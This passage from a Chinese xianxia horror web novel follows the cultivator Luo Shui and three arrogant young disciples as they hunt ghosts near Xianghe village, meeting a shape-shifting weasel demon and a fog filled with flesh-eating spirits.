“没有,就勘查了一圈,说他们会上报给城主府,由城主府拨款再建,但至于什么时候,要看城主府。” “城主府那么远,哪里会管我们这些小村子的事。律例虽说是如此,但执行起来往往大打折扣,喏,青石镇今年回收的粮食,说好一石米三两银,结果只给了二两五,这还是托了关系才拿到的。更别提香禾村这样的小村子了,每年产粮不过万斤,城主府哪里会放在心上。再说,那地儿闹过绿林,谁还敢去?官府也乐得省事,久而久之,便成了无人问津的荒村。”阿水端来一盆水,放到那三人跟前,语气有些愤怒。 “胡说八道!住嘴!”吕老头瞪了阿水一眼,脸色铁青:“小姑娘家家懂什么!还敢妄议城主府!去去去,帮你阿婆做饭去。”阿水被吕老头呵斥走了,陈枫擦了半边脸的泥,此刻的脸色不甚好看。 “小神仙们,我家孙女不懂事,多嘴了多嘴了,我们对城主府可一点意见都没有的,没有的。”吕老头连忙赔笑,眼里闪过一丝无奈。 “蓬莱城靠商路繁荣,区区重建村子的款项哪里会拖欠,平日里城主府给下面城镇村落发散那么多钱粮,这些事倒理所应当了,就是贫民贪之又贪,想必是拿着重建之事要挟城主府,企图多捞些好处,最后没谈妥才被搁置的吧。”陈枫冷哼一声,满脸鄙夷神色。 陈枫的话让吕老头脸色一白,嘴唇微颤,却不敢辩解,只能低头叹气。 “都是些官场上的推诿扯皮,层层盘剥,真正到手的银子寥寥无几,和城主府没多大关系。”赵明眼见现场氛围有些尴尬,出言说道,试图缓和气氛。 “有问题的是下面做官的,和城主府又有何关系,干嘛都赖到城主府身上!”陈枫并不领情,依旧冷冷地反驳。 “官是城主府的官,他们出问题,不就是城主府出问题!好啊,原来你们是城主府的人啊,我说光天化日的怎么有几个穿着那么华贵的,原来是城主府的狗,怎么,是嫌这两年贪的还不够,亲自下来看看还有什么民脂民膏可以搜刮的是吗?我呸!”不知何时阿水又折返回来,眼中满是怒火。 “你这破落村姑!你懂什么东西!敢这么对我说话!”陈枫怒目圆睁,扬起手就要打,却被李浩一把拦住。 “枫少,无故殴打平民是重罪!”李浩沉声劝道。 “什么平民,我看这女人分明是心怀不轨的逆贼,故意挑拨离间!看我今日不斩了她!”说罢,陈枫便御动法力,祭出一把长剑。 “放肆!”洛水怒拍桌案,手中玉扇一挥,飓风骤起,陈枫瞬间被掀飞,重重摔落在泥泞之中。“不许去扶,不然你们也挨我一记。”洛水喝住李浩与赵明,两人闻言,不敢再动。 “哎,徒弟顽劣,望大叔莫怪,此次我们只是来此驱鬼,望大叔说一下香禾村在哪个位置,我们这就离去。”吕老头一愣,连忙说道:“往东行十里,过青石桥即到,只是天色已晚,小神仙您真要前往?那村子如今可是鬼影幢幢啊。” “多谢大叔,无须担忧,我们正是冲着鬼来的。”洛水摆摆手,拉着李浩和赵明走出了院落,随后又是一挥手,把在泥里挣扎的陈枫用法力拽起。吕老头看着四人渐行渐远的身影,心里有些担忧,吧嗒了两口烟,转身骂道:“你这小妮子,你知不知道刚才那几个是谁,我让你贪口舌之快……” 夜色将近,村落空旷的地上一左一右两种骂声,其中有一股骂声,还伴着一阵阵响亮的拍打声。 四人行至一片荒地时,天气已黑,洛水御动法器,一把横刀在腰间缓缓显现,横刀带着幽幽蓝光,在黑夜之中显得格外耀眼,照亮了人周围的泥泞小路。陈枫抹去脸上的泥水,脸上是极为夸张的红肿,眼中透出一股怨毒之色,咬牙切齿道:“回去,我必要禀报父亲,把那个女人的镇子都给夷为平地!” 洛水不接话,只一个劲的往前看,陈枫身后的李浩拍了拍陈枫的肩膀,低 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“妈呀,鬼!”陈枫一个尖叫,立即御动法力祭出长剑,身后两人也迅速祭出兵器,紧张地环顾四周。乌鸦盘旋片刻,又纷纷散去,洛水无奈叹气:“小少爷们,几只乌鸦而已。” 陈枫脸色苍白,握剑的手微微颤抖,心中余悸未消:“你怎知是乌鸦,不是鬼变的!” “你的师傅们都教了你些什么,难道连鬼是什么都没教吗?”洛水一脸不屑。 “你什么态度,我告诉你……” “闭嘴!”洛水猛然转身,一把捂住了陈枫的嘴,眼神凌厉,语气冰冷:“把你们的武器都收了!停止运转灵力!” “我……” 陈枫还想说什么,但对上洛水严肃的脸,心中冒出一阵寒毛,挣扎片刻,终是慑于洛水的威严,缓缓放下长剑,身后的两人见状,也收起兵器,三人灵力渐渐平息。洛水放开手中的陈枫,一挥手,腰间横刀也被收回。四人就这样猫着身子躲在草丛中,屏息静气。 夜色如墨,星光微弱,四周虫鸣声渐起,气氛愈发诡异。陈枫实在有些不耐烦了,蹲着实在难受,低声嘟囔道:“这到底要躲到什么时候?我们又不是来打野兔的。” “枫少,你看!”赵明压着嗓子,小声地在陈枫耳边低语,手指前方。前方远处的黑暗中,一点红光忽隐忽现,似乎有身影在晃动。陈枫瞪大眼睛,心跳加速,紧张地咽了口唾沫。洛水微微点头,示意众人保持安静,缓缓起身,猫腰向前潜行。红光渐近,却不见身影,挨得近了,还能听到‘噹噹噹’的声音,仔细辨认,似是敲击金属的声音。 洛水掏出一张人形符箓,轻声念咒,符箓无火自燃,化作一道青烟飘向红光处。青烟散去,现出一具骷髅,手持铁锤,正敲击着一面破锣。洛水冷哼一声,手中横刀一挥,骷髅瞬间化为粉末,随风消散。陈枫等人目瞪口呆,惊讶道:“好手法!” “这就完了?鬼就没了?”李浩最先反应过来,满脸的不可思议。 “切,鬼有多难杀,他运气好而已,要不是他刚才让我收了兵器,刚才那鬼就是小爷我杀的了。”陈枫心有不甘地撇了撇嘴。 “既如此,三公子便帮我去把那鬼掉的破锣拿回来瞧一瞧吧。”洛水也不恼,指了指不远处那面破锣。 “我为什么要帮你拿!” “不是帮我,是帮你自己,你不确认下这鬼是否死了,你怎么回去和你父亲交差,不交差,你又怎么跟队去东海封妖?”洛水一脸讽笑神情,陈枫被这一激,再次唤出长剑,对这边赵明说:“走,一起走。” “啊!哦。”赵明有些不情愿,但也不敢推脱,只能跟着唤出法器,两人一同往前走去。前方似是一个村落,但是太暗看不清,看得最清楚的事几棵歪脖子树,夜风抚弄,歪脖子树的枝条在风中发出沙沙声响,明明是夏天,此刻陈枫和赵明却觉得脊骨发凉,越靠近那面破锣,这寒意越重。 “枫少,我怕。”赵明压着嗓子小声说道。 “怕什么!鬼能把你怎么样吗!”陈枫突然拔高声音说道,忽然一鼓作气,快步走向那锣,用手中剑一调,破锣落入手中,陈枫哈哈一笑,拿着破锣对着赵明喊道:“你看!啥事都没有!” “小伙子,你拿老头我的打更锣作甚。”一股阴冷触觉从耳旁传来,陈枫浑身一颤,缓缓转头,只见一老头,面容枯槁,眼神幽深,正冷冷盯着他。 “啊!”陈枫一声怪叫,倒地不起。 26. 二十六、香禾村 “枫少,枫少,你没事吧。”陈枫只觉原本就疼的脸颊痛上加痛,忍不住睁开了眼,只见李浩不住地拍着自己的脸,一脸焦急。“醒了,顾先生,枫少醒了。”看着缓缓睁眼的陈枫,李浩松了口气,对着一旁的洛水说道。 “醒了便醒了,被鬼吓晕是什么很值得高兴的事吗?”洛水冷冷地斜睨了陈枫一眼,嘴角勾起一抹不屑的笑意,语气中透露出明显的轻蔑。陈枫勉强坐起,揉着发胀的太阳穴,他只记得肩膀旁那张白兮兮的老头脸,以及现在还挥之不去的冰冷触感,那双浑浊的眼珠仿佛要将他灵魂吸走,想到这,浑身鸡皮疙瘩爬满全身。 “我们在哪?”陈枫环顾四周,发现自己身处一间破旧的木屋内,墙壁上斑驳的痕迹透出岁月的沧桑,李浩说:“离刚才那地不远的一处驿站,顾先生说这里不属于闹鬼的范围,先在这过一夜。” “那鬼,不是被他斩了吗?”陈枫指着洛水说道。 洛水冷哼一声,眉宇间透出一丝不耐:“你以为鬼是那么容易对付的?如若那么简单,你父亲叫我来干嘛?来带你们过家家吗?” “你!”陈枫突然语塞,‘你’了半天,也没说出第二个字来。 “顾先生,刚才我们明明都看到你用符箓直接把那鬼收了,怎么那鬼还能卷土重来?”烤着火的赵明,脸色带着不安,又迫切想知道。 洛水斜了他一眼,淡淡道:“符箓只能暂时打散它身上怨气,未彻底消灭。那鬼怨气深重,需找到根源才能彻底解决。”洛水目光扫过众人,继续说:“考一下你们,鬼分为什么鬼?” “什么?”陈枫和赵明被这突然一问,搞得不知所措,两人面面相觑,半天不吱声,李明则像背书般说道:“有好几种,我所知的有善鬼,厉鬼,孤魂野鬼,其中善鬼和孤魂野鬼比较相像,都是人死后有执念在人间,不愿投胎转世的鬼,这两种鬼不害人,但容易吓到人。厉鬼就复杂得多,有水鬼、风鬼、梦鬼,这些鬼也叫地缚灵,皆因生前遭遇不幸而惨死,死后怨念太深无法往生,也有说法是他们不被地府收留,需在死时之地寻找替身,夺人性命,拿取下地府名额。” “这些,我也懂,还有……还有……”陈枫支吾半天,也‘还有’不出什么新花样来。 洛水轻蔑一笑,接过话茬:“还有赌鬼,色鬼,酒鬼对不对?” “对!”陈枫突然点头,但很快就反应过来自己被洛水戏弄了,又是一个怨恨的眼神投给洛水。 “李浩说的鬼,是民间定义的鬼,而我们修真定义的鬼,只有三种:厉、凶、绝。厉鬼和李浩说的接近,是生前不幸,死后怨气不散的鬼,这类鬼常主动攻击生人,但是不能言语,没有思维,只靠本能行事。凶鬼则更为狡猾,能附身于人,操控心智,制造混乱,行事诡谲,常常隐匿真身难以消灭,民间也称这个为‘中邪’。绝鬼最为罕见,乃怨气极深者化成,要成为绝鬼,需要满足几个条件。一,死时□□和心灵饱受双重折磨,且是常人所不能忍的折磨。二、死在极凶极秽风水颠倒之地。三、死者武力法力极强,生前并非常人。四、自甘堕入永不轮回之道。绝鬼能操控怨气,使用鬼道术法。对付这类鬼,需以极高修为和特殊法器,方能有望将其彻底消灭。但这也是猜测,绝鬼要练成的条件过于苛刻,甚少有人见过,见过能活着的就更少,所以对付他的方法也没什么记载。”洛水说完,那三人眼中露出一丝敬佩,但陈枫的那份敬佩很快就落了下去,扭过头去,低声嘟囔:“说得这么玄乎,你也没真的遇到过。” 洛水闻言,眉梢微挑:“有些可以先学,等到了要用的时候,自然就能派上用场。总好过一无所知,死得不明不白。” “真是母猪戴奶罩,一套又一套。”陈枫摸了摸肚子,喊道:“我饿了,吃的呢?” 三个少年看向洛水,洛水一脸疑惑,问道:“看我做甚?” “你不是领队吗?你没带吃的吗?”陈枫瞪大眼睛问道。 “我是领队,又不是保姆,你们带没带吃的,还要我来管?况且,我今天不是已经给你们时间去找食物了吗?” “哪有!”三个少年异口同声,洛水双手往后一撑,无奈道:“在库房,那么多物料,你们自己不会找?” 三个少年随后你看我,我看你,最后又看回洛水,赵明耸了耸肩,尴尬笑道:“我们只拿了武器和装备,没想到吃的也要自己找。” “武器?那行,你们把拿的武器拿出来给我瞧瞧。”说完,赵明从储物袋里掏出好几把银色短剑和长剑,陈枫则拿出泛着蓝光的刀戟棍棒,李浩则尴尬地摸了摸头,表示自己只拿了各式暗器。洛水捏着眉,叹着气:“你们这是打算封鬼呢,还是打算开家兵器铺啊?” “废话,用这些,难道还不够封鬼?”陈枫得意地捧着自己挑选的武器。 “怎么封?你说一下你的计划。”洛水的问话让陈枫愣了愣,挠头道:“先找到鬼,然后用这些武器围攻……” “然后呢?” “然后鬼就死了,就结束了啊!”闻言,洛水摇头苦笑:“封鬼哪有这么简单,需先探明鬼的弱点,再以法阵困之,最后才能用武器一举击杀。况且,你们选的这些武器,根本就不是对付鬼物的利器,上面的术法连鬼的影子都碰不到,你们该不会真以为,鬼和我们人一样,是有实体的吧?” “没有的……吗?”三人面面相觑。 “如果鬼有实体,你们赶紧跑就是了,只有绝鬼,才能靠着冲天怨气修出肉身。” “乖乖,那绝鬼和人类修士对比,大概是什么阶段的修士?” “元婴初期。”洛水的话一出,陈枫倒吸一口凉气,赵明和李浩也脸色苍白。 “怎么可能?”三个少年异口同声,均不相信。 “为何不可能?我刚才说的话你们是一句都没听进去吗?绝鬼的形成条件如此苛刻,重点是最后一条,永不轮回,能脱离轮回的鬼是什么水平,你们可以尽管幻想一下。” “那香禾村的鬼,是绝鬼吗?” “我不知道,我只知道很快就会多出三个鬼。” “什么鬼?” “饿死鬼。”三个少年闻言一哄而散,陈枫瘪了瘪嘴,说道:“不吃就不吃!我辟谷!” “辟谷?你那点修为能撑几天?”洛水白了陈枫一眼,冷笑道:“我去楼上打坐,你们自己好好想想怎么应对挨饿吧。”说完,洛水转身上了楼,留下三个少年面面相觑。 赵明叹了口气,无奈地说:“要不,我们还是出去找点吃的吧?”但话音刚落,他便心生悔意,只见屋外夜色如墨,寒风如刀割般呼啸,树影在月光的映照下摇曳生姿,却好似无数鬼魅在黑暗中窥探着他们。李浩缩了缩脖子,低声道:“这鬼地方,连个灯火都没有,怎么找吃的?一路上我也没见着别的村子,最近的就是之前那家农户了,但也要走十里。” “枫少不是已经学会御剑飞行了吗?不如枫少跑一趟。”赵明望向陈枫,眼中闪烁着期待的光芒,陈枫摸了摸颈项,苦笑说:“白老头不在,他不借我灵力,我无法驱动那耗灵巨大的飞行法器。” 全部路封死,三名少年躺在地上,摸着肚子,李浩无奈道:“看来只能硬撑了,等天亮再说吧。不过,咱们得轮流守夜,防备万一。” “以前猎灵都是那些侍卫守夜的,哪里轮得到我们上阵啊。”赵明有些埋怨。 “少爷,我们是出来封鬼,不是猎灵,更何况带队的是他,你还想着能享福呢。”陈枫指了指楼上,李浩突然一声:“不好!” “怎么了?”陈枫和赵明立刻背靠背,警戒起来。 “我们没有被褥!” “哎哟,吃的都没了,还想被褥?这满地的稻秆和枯草,自己凑合一下吧。”陈枫拢了拢身边的稻秆,苦笑道:“希望梦里有珍珠烧白吃,李浩,你第一个守夜吧,别睡着了,一个时辰后换赵明,我们三个,应该刚好轮值到鸡鸣。” “行。”李浩点头,拿出一把长剑抱在怀里,人坐在入口旁,目光警惕地扫视四周。 陈枫入睡后,只觉睡得极不安稳,耳边风声如泣,仿佛无数冤魂在低语,身上寒意透骨,梦境中似有鬼影幢幢。挣扎着醒来,见李浩仍紧握剑柄守在门口,心里稍感安慰,但寒意未减。此时陈枫一身冷汗,随之而来的还有一阵尿意,他轻手轻脚地起身,尽量不惊动身旁的赵明,然后对着入口处的李浩打了个招呼,小声说道:“我去嘘嘘。”室内的火有些弱了,看不清李浩的脸,但隐约还是看到李浩点了点头,示意明白。 陈枫蹑手蹑脚走出屋外,夜色浓重,寒风刺骨,明明是夏夜,怎会如此寒冷?陈枫看着周围,树影摇曳,仿佛鬼魅随行。破旧的驿站处于一处十字路口,四条道路延伸向无尽的黑暗,风声呼呼,吹得人打起了冷颤。陈枫四处张望,路口没有可以方便的地,虽四下无人,但养尊处优惯了的他,觉得在路口脱裤子实在不雅,转了一圈,不远处一排芭蕉林映入眼帘,陈枫快步走去,芭蕉树宽大,正好遮掩。他找了个背风处,匆匆解决完,刚要转身回屋,却听到身后几片芭蕉叶抖动的声响。 猛然回头,却也只有芭蕉叶在风中摇曳,并无异样。陈枫心有余悸,深吸一口气,正 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‘李浩?’陈枫心中一凉,怎么会是李浩,李浩不是正坐在门口那守夜吗?陈枫寒意遍布全身,动作小小地翻转头部,望向门口。没错,门口处正端坐着一人,抱着剑,一身的打扮皆是李浩模样,除了看不清隐在暮色里的脸。 不知为何,陈枫忽然无法动弹,只能维持这样的仰头姿势,浑身硬得像石头,唯有眼珠还能转动,心跳如鼓,冷汗直流。不知过了多久,黑暗中,那“李浩”缓缓抬头,依旧看不清他的脸,但那双眼睛却透出幽冷的光,直勾勾地盯着陈枫。陈枫喉咙发紧,想说却说不出话,只能眼睁睁看着“李浩”。 ‘他发现我了!’陈枫立即闭上双眼,假装睡去。失去了视觉,人的听觉就会变得异常灵敏,陈枫此刻能清晰地听见‘李浩’缓缓走来的脚步声,踏在稻秆上发出的吱呀声,声音越来越近,没一会,声音停在了陈枫的耳旁。 陈枫很快就闻到了一股恶臭,一股类似死老鼠的恶臭,正从上往下飘来,陈枫不得不屏住呼吸,但没了呼吸,胸膛之中的心跳变得剧烈,‘嘭嘭嘭’,这阵声音也被‘李浩’听到了。 陈枫感到一股力量从背后传来,仿佛有只无形的手掌轻轻推动,瞬间,他身体的僵硬感消散无踪。随即,他一个腾跃,手中长剑已出鞘,直指面前的‘李浩’。 “枫少,你怎么了?”李浩一脸茫然地看着陈枫。 “你是谁!”陈枫厉声问道。 “我是李浩啊。” “你是李浩,那他又是谁。”陈枫指向赵明身后的李浩,此刻赵明身后的李浩依旧沉睡。 “他是李浩,我也是李浩啊。”那个抱剑的李浩缓缓开口,声音低沉而诡异。陈枫心中大骇,眼前景象让他难以置信,难道是幻觉?他紧握剑柄,冷汗浸湿衣衫,目光在两个“李浩”间游移,试图找出破绽。 抱剑的李浩盯着陈枫,嘴角勾起一抹冷笑,随口问道:“枫少,我像人不?” “什么?”陈枫心中疑惑李浩为何有此一问,不禁一愣,随即心中的警钟大响,但他仍强装镇定,冷冷地回答:“你自然像人。” “啊哈哈哈哈哈!我像人!他说我像人!啊哈哈哈哈哈,我成啦!我成啦!”那抱剑的李浩,身上的皮忽然像水一样化开,只见一根根毛发从皮下冒出,越来越多,越来越密,首先从皮下甩出的,是一根巨大的尾巴,黄色的毛中间夹着一道黑毛,随后皮越褪越开,只见一个似鼠似猫的生物,闪着绿油油的双眼盯着陈枫,嘴角挂着狰狞的笑容。陈枫倒吸一口凉气,心中惊恐万分,但仍咬紧牙关,挥剑直刺那怪物。怪物敏捷躲过,发出刺耳的尖叫,周围的空气仿佛凝固,陈枫只觉呼吸困难,忽然脸上一阵剧痛,感觉某种东西突然泄了气,陈枫忽然吸到了极为清新的空气。 “枫少,你醒醒,枫少!”陈枫猛然睁开眼,发现自己仍在稻草堆中,赵明正摇晃着他。陈枫大口喘息,额上冷汗涔涔,心跳仍未平复。赵明满脸担忧:“你做噩梦了?”陈枫环顾四周,确认并无异样,李浩正躺在赵明之前睡觉的位置,正在熟睡。 ‘刚才是梦?’陈枫擦了一把汗,喘了一口粗气,但仍心有余悸,眼前李浩的睡颜让他感到一丝不安。他重重地掐了自己一下,剧烈的疼痛袭来,确认并非梦境。 “什么时辰了?”陈枫顺了顺胸口,想找口水喝,才记起此刻无粮无水。 “寅时了。”赵明打了个哈欠回答道,陈枫甩甩手,说:“我来守夜,你睡吧。”说完,起身让出了自己的稻草窝。 “好嘞。”赵明也没客气,一下子钻了进去,没一会,鼾声飘起。 27.二十七、香禾村(二) 陈枫紧紧握着剑,盯着门外,此时夜依旧黑漆漆一片,风声呼啸,树叶沙沙作响。但寒意逐渐消散,夏夜特有的清爽感悄然回归。盯了一会,又是一阵尿意袭来,看来刚才在梦中的那泡尿没有解决实际问题,他无奈地叹了口气,轻手轻脚地走出屋子。 月光洒在青石板上,泛起一层幽幽的光泽,陈枫一出门,便觉不对劲。 ‘这里,和梦里,怎么一样?’他心中一紧,环顾四周,那十字路口,那芭蕉林,都如梦中所见,甚至连空气中弥漫的湿润泥土味都一模一样。 ‘我被吓晕后,是他们抬着我过来的,我压根不该知道外面是啥样子啊!’陈枫心跳如雷,握剑的手因为太用力而有些发抖。‘自己吓自己,自己吓自己。’陈枫一边念叨着,一边脱裤子,这次他不敢再去那片芭蕉林了,不雅便不雅,总好过遇到什么解释不清的怪事。一泡尿哗啦啦喷射而出,也带走了他心中的些许恐惧,以及温度,陈枫抖了抖,突然,一声尖叫从远处的芭蕉林传来,划破了夜的宁静。 ‘是女人的声音’陈枫听得很清楚,夜很静,风不急,万物安睡的时刻,发出的声响格外刺耳。 ‘簌簌簌’有什么东西正在芭蕉林内疾走,正不断撞到芭蕉叶上。没一会,一抹悠悠白影从芭蕉林里疾驰而来,直冲陈枫。陈枫拉着没系紧的裤子,尖叫着跑回了驿站,一进门便猛地关上门,靠在门后喘着粗气,然后迅速地系上腰带,忙大喊:“别睡了!别睡了!有鬼!” 李浩和赵明皆是修真之人,这一声呐喊,即便是熟睡中,也立刻惊醒并同时唤出了自己的法器,两人尽力睁开惺忪的双眼,只见陈枫压着门板,脸色苍白,额头上满是冷汗。 “枫少,你怎么了?” “有鬼!有鬼啊!” “什么?”地上两人闻言,立即跳起身来,三人围在门后,陈枫急促地描述着刚才的情景,声音颤抖却坚定。 “嘘,有声音。”三人屏息静听,果然,门外传来一阵脚步声,由远及近,带着一种诡异的节奏,仿佛每一步都踏在心尖上。脚步声越来越近,门板微微震动,仿佛随时会被撞开。虽说三人都有修为傍身,但是面对未知的事物,他们此刻更像未经事的小孩,三人面面相觑,手边法器光芒幽幽,陈枫压低声音,语气中带着一丝决绝:“不管是人是鬼,咱们一拥而上,管它三七二十一,先给它来个下马威,炸它个魂飞魄散!” “对!”三人成虎,陈枫的话立即让李浩和赵明也跟着自信不少,随着脚步声更近,陈枫第一个开了门,冲出去喊道:“受死吧妖怪!不!鬼!” 陈枫眼都没睁,手中法器光芒大盛,对着声音传来处猛地挥去。李浩赵明在身后,见陈枫出手,也一起出手,刹那间,三道法器光芒如同流星般交织成绚烂的网,瞬间将夜空点亮得如同白昼。‘嘭’,一声巨响,不知法器砸到了哪,但这阵声音也驱走了三个少年心头的恐惧。 “死了吗?”陈枫擦着汗,依旧保持警惕看着掀起尘雾的地方。 “我不知道啊,我看你出手我也出手了。”李浩说话哆哆嗦嗦的。 “我也一样。”赵明也是如此。 “废物……”陈枫这句话骂得极没气势,他自己也心虚得很。三人小心翼翼地靠近,随着尘雾逐渐散去,一只被法器击中的野鸡赫然出现在眼前,它血迹斑斑,羽毛零乱地散落一地,显得格外凄惨。三人面面相觑,哭笑不得。陈枫尴尬地收起法器,李浩无奈摇头,赵明则忍不住笑出声来。 “你们在做什么!”一声带着微怒的喝斥从身后传来,三人回头,只见洛水提着一盏灯笼站在他们身后,灯笼映得他的脸色十分不悦。 “没有啊,我们……我们驱鬼呢。”三人收回法器,陈枫结结巴巴地解释,企图掩盖身后的野鸡。洛水疾步走来,眉头微皱,目光扫过三人,也发现了他们身后的野鸡,冷声道:“驱鬼?还是打猎?” “顾先生不关我的事,是枫少守夜突然说有鬼,我们被吓了一跳,跑出来听到声音就用了法器而已。”李浩说完,靠到了洛水一旁,不敢去看陈枫。 “你!”陈枫气急,却无从辩驳,只得嘴硬说:“是我又如何,小爷我饿了,看到野鸡编个理由叫他们出来杀了。” 洛水盯了陈枫一眼,没说话,径直走向野鸡,蹲下身看了许久,又翻了翻野鸡,只见野鸡脖子处有两个明显的齿洞,显然是被其他猛兽咬死的。洛水眉头紧锁,站起身来,沉声道:“这真是你们杀的?” “是啊。”陈枫硬着头皮回答,心中却打鼓。 “你们啥时候有像兽牙一样的法器了?这野鸡是被咬死的呀。”洛水提起野鸡,拔掉鸡脖子上的毛,露出两个血糊糊的洞。陈枫脸色骤变,结结巴巴地道:“也……也许,是那法器不小心划伤的吧。”李浩和赵明也紧张地低下头,不敢直视洛水的眼睛。洛水冷哼一声,手腕轻扬,将野鸡抛向半空,紧接着,一道符箓如同灵蛇般窜出,瞬间化作熊熊火焰,将野鸡吞噬殆尽。 三人目瞪口呆,洛水冷冷道:“这是妖物送来的,你们刚才到底做了什么?”洛水语气严厉,李浩和赵明面对洛水的质问,先慌了神,李浩说道:“啥也没干啊,一晚上我们三个轮流守夜,我和赵明换班的时候好好的。” “我也一样啊,就是换班的时候,枫少好像在说胡话。”赵明说完缩了缩脖子,跑到了李浩身后,陈枫倒也没恼,直接承认:“是啊,我当时在做噩梦,难道做梦也不行吗?” “做了什么梦?” “啥?” “我问你梦到什么了。”洛水眼神严厉,陈枫犹豫片刻,快速地把梦里的事讲了一遍,听完,洛水脸色稍缓,又拿出三枚折成三角形的符箓递给三人,沉声道:“贴身携带,但是不要露出来,放到你们的里衣。” “这是什么?”陈枫捏着三角形的符箓好奇道。 “驱邪符。” “我要这东西干嘛,真有邪物我一剑剖了他。”陈枫语气狂妄地说道。 “剖了它?你才遇到那么大的一个妖,怎么不见你剖了它。”洛水的话一出,陈枫立即全身一紧,说话也跟着结巴:“什……什么……我,我遇到……什么……妖了,你,你说清楚!” “修炼三百年以上的黄鼬妖要化作人形,需得人的一口精气,黄鼬妖善用幻术,引人入局,再根据入局之人的心性幻化出相应的梦境,好赌之人会梦见赌场连胜,好色之人梦见美色陷阱,待梦中人深陷其中,黄鼬妖便会问‘我像人吗’,这句就是它们吸人精气的秘诀。如果你说像,黄鼬便可突破成为人形,但如若你回答不像或是其他答案,黄鼬妖突破失败,就会让你陷入无尽的梦境,直到精气耗尽而亡。”洛水的解释陈枫听得心惊胆战,回想梦中情景,冷汗直流。 “那只鸡,就是黄鼬妖的谢礼,因为你说它像人,如今它是功德圆满,可以做人了。”陈枫脸色惨白,颤声道:“那我岂不是助纣为虐?” “世间万物修炼,各有其径,你不过是其中微不足道的一环,别高估了自己的分量。”洛水说完话时,天已微微亮,晨间水汽集中,晨曦回升的温度蒸发了万物身上的水汽,雾渐渐起来了。洛水转头问:“现在是什么时辰?” “应该快卯时了。”陈枫回答道。 “真是不巧,竟撞上了这个时辰。”洛水眉头紧锁,环顾四周,雾气愈发浓重,隐约透出一丝不祥。“你们三个,把你们的衣襟系在一起。” “为什么?”三人皆是不解,但发问之余,已经开始把自己的衣襟和另外两人的打上结了。 “卯时,也是阴阳交替之时,此时人妖鬼界限模糊,易生变故。” “我们回驿站不行……吗。”李浩问道,但当他回头一瞧,不知何时雾已浓到自己伸出的五指都难以辨认,更别提什么身后的驿站了,心中一凛,闭了嘴。 “从现在开始,不许说话,如果会闭气功立刻用上,不会的,换气频率要低,无论听到什么声音,或者有什么东西拉你,你都不能回头,只能往前!听我的铃铛声走。”洛水掏出一个铜铃别在了腰间,铜铃轻轻一摇,清脆声响穿透浓雾,三人紧张地跟在洛水身后。 起初一切还正常,但随着深入雾中,四周愈发寂静,连心跳声都清晰可闻。偶尔有诡异低语传来,三人紧握彼此衣襟,不敢有丝毫松懈。铜铃声如定海神针,指引着他们一步步前行,心中默念洛水的叮嘱,生怕一回头便陷入万劫不复。 可渐渐地,雾气之中飘来了一阵香味,这香味甚是奇特,似是花香又夹杂着奇异的甜腥,闻得人心里暖暖的,仿佛置身春日花海。‘叮铃’,一声铃响,击碎了陈枫心里 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对话声落下,只见一根长竿举起,那长竿是用各类骨头拼接而成,长竿末处是一根劈开的人类大腿胫骨做成的叉形。这根长竿伸向挂着的人尸,挑了半天,挑出一具曼妙身姿的女尸,那女子表情亦是十分欢愉,挑出人尸的‘人’,举起一把锈迹斑斑的大刀,上面还沾着不少的毛发和皮肉,‘噹’一声,人尸被拦腰切断,那‘人’左右手各举起一半,问道:“你要头还是要尾?” “要头!最喜欢吃人头了,熬煮烂以后,吸溜吸溜,一下子把脑子从眼窝里吸溜出来,别提多过瘾了。” “啊哈哈哈哈哈哈,还是你会吃!”笑声在浓雾中回荡,陈枫胃里翻江倒海,强忍着呕吐的冲动。 ‘叮铃’又是一声铃响,雾气迅速蔓延,将市集景象吞噬殆尽,眼前只剩一片白茫茫。很快,又是一股气味飘来,这一次的味道,变成了让人作呕的腐臭味,身下走的路,也变得十分黏稠,每走一步鞋底都发出令人牙酸的挤压声。陈枫咬紧牙关,心中默念洛水的教诲,试图平复内心的恐惧。腐臭味愈发浓烈,仿佛脚下踩着的不是土地,而是无尽腐肉烂骸,每一步都像是在人肉泥沼中挣扎。陈枫深吸一口气,尽力屏住呼吸,试图忽略那刺鼻的恶臭。 “你闻到没有?”一个嘶哑的声音在耳边响起,带着几分兴奋“是人,人的味道!” “你干活干傻了,哪里来的人,这是哪里你不知道啊,还人,啊哈哈哈。”另一个声音粗犷,带着戏谑,陈枫心中一紧,脚步微顿,耳边传来一阵低沉的咀嚼声,仿佛有什么东西正被撕咬得粉碎,胃里又是一阵翻腾。 “不,一定是人!这股生人才有的味,我不会忘的,我吃过一个小娃,他就是这个味,那娃儿可真好吃啊,甜甜糯糯的,啊,我好想再吃一次人,我好想!” “谁不想!有本事你撞开酆都的门,我们大家伙一起去吃!”陈枫心跳如鼓,冷汗浸透衣衫,他强压恐惧,小心翼翼地挪动脚步,试图远离那令人毛骨悚然的对话,偏不巧,脚下软烂的泥里不知踩上了什么,‘咔嚓’一声,骨头断裂的声音在寂静中格外刺耳。 “谁,谁在那!”对话声似乎发现了什么。 “你别说,我好像也闻到了人味!” “我就说是人!你还不信!快去找!快去!” 身旁的声音变得躁动,显得抓心挠肝的,脚步声急促,迅速向这边靠近。 “更浓了!你闻到没有!你闻到没有!” “是人,是人,是活人!” “我好久没吃人肉了!我要吃,我要吃!” “味道更浓了,是这里,是这里!” 陈枫慌得捂住了口鼻,不敢再吐出一口气,心跳如雷,腿脚发软,但依旧强忍着恐惧,尽力稳住身形,跟上队伍。突然,一只冰冷的手臂猛地抓住他的脚踝,陈枫惊恐万状,放开手拼命挣扎,却感觉身体被一股巨力拖拽,泥泞中传来低沉的嘶吼声,腐臭味愈发浓烈,几乎令人窒息。 “我摸到他了!他在……” “叮铃……”铃声突兀地响起,刺破腐臭的空气,陈枫趁机猛力挣脱,脚踝传来剧痛,却顾不得许多,跌跌撞撞向前奔去。 腐臭味褪去,四周又是一片雾茫茫的样子,陈枫喘着粗气,十分疲累,但不敢停下脚步。心中默念洛水的教诲,试图平复狂跳的心脏。可很快,陈枫又感觉不对劲了,他只觉自己的衣摆被什么东西轻轻扯动,似是有什么东西抓住了他的衣服。 28.二十八、香禾村(三) 陈枫越发觉得身后扯住自己的力道越来越大,有几次拽得自己差点摔倒。 ‘不要回头。’那个男人的声音在自己的脑海里飘荡,陈枫越发紧张,身后的力道愈加明显,最后已到了衣服被撕扯得几乎要裂开的地步。汗水顺着额头滑落,心跳如鼓,每一步都像在泥泞中挣扎。 “不要回头,不要回头,不要回头。”陈枫拼命地呢喃着,仿佛这句话能驱散身后的力道。他咬紧牙关,继续前行,脚下的泥土似乎也在嘲笑他的无力。身后那股力量如同梦魇般挥之不去,‘咔嚓’一声衣衫的破裂声在安静的雾中格外刺耳。 